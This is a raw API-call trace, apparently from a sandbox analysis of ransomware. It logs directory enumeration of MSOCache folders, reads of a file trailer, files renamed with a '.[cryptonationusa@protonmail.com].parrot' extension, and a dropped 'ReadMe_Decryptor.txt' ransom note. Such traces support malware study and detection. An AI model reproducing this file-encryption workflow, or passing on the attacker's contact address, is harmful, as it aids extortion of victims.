FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac37d0a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xac37d0a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad44cc00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0113.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0113.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0113.357] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.357] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.358] CloseHandle (hObject=0x258) returned 1 [0113.358] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xad426aa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0113.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x5cce70 [0113.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0113.358] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0113.358] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0113.359] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xad426aa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad426aa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.359] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xac0f5940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x265d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PUBLIS~1.PAR")) returned 1 [0113.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.359] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.359] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.360] CloseHandle (hObject=0x258) returned 1 [0113.360] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaef60640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb18, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLOO~1.PAR")) returned 1 [0113.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.360] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.360] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.361] CloseHandle (hObject=0x258) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaf1c1c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLOO~2.PAR")) returned 1 [0113.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.361] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.361] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.362] CloseHandle (hObject=0x258) returned 1 [0113.362] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae9b9200, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xae9b9200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf3d6f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0113.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0113.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0113.362] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.362] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.363] CloseHandle (hObject=0x258) returned 1 [0113.363] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaf25a1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1188, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0113.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x5cce70 [0113.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0113.363] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0113.363] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0113.364] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf25a1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf25a1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.364] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xae8fab20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe220e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OUTLKL~1.PAR")) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.364] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.364] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.365] CloseHandle (hObject=0x258) returned 1 [0113.365] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb03e8400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x29c6ed5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDLR~1.PAR")) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.365] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.365] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.411] CloseHandle (hObject=0x258) returned 1 [0113.411] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb07ec920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x267f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDMU~1.PAR")) returned 1 [0113.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.411] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.411] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.412] CloseHandle (hObject=0x258) returned 1 [0113.412] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb085ed40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDMU~2.PAR")) returned 1 [0113.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.413] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.413] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.414] CloseHandle (hObject=0x258) returned 1 [0113.414] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb085ed40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDMU~2.PAR")) returned 0 [0113.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x5cce70 [0113.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0113.414] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0113.414] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0113.414] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb085ed40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb085ed40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.414] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf52dbe0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf52dbe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0884ea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0113.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0113.416] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.416] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0113.417] CloseHandle (hObject=0x284) returned 1 [0113.417] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0113.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0113.417] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.417] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0113.419] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100023) returned 0x2d70020 [0113.464] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0113.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0113.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0113.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0113.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b618 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x65f2e0 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b618 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f2e0 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x683258 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683258 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0113.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d8fd0 [0113.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0113.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cee58 [0113.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0113.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x639220 [0113.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0113.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x69a650 [0113.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0113.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x685240 [0113.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0113.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x69a650 [0113.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685240 | out: hHeap=0x5b0000) returned 1 [0113.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x685240 [0113.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0113.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x647210 [0113.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685240 | out: hHeap=0x5b0000) returned 1 [0113.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3160050 [0113.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0113.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2210048 [0113.474] 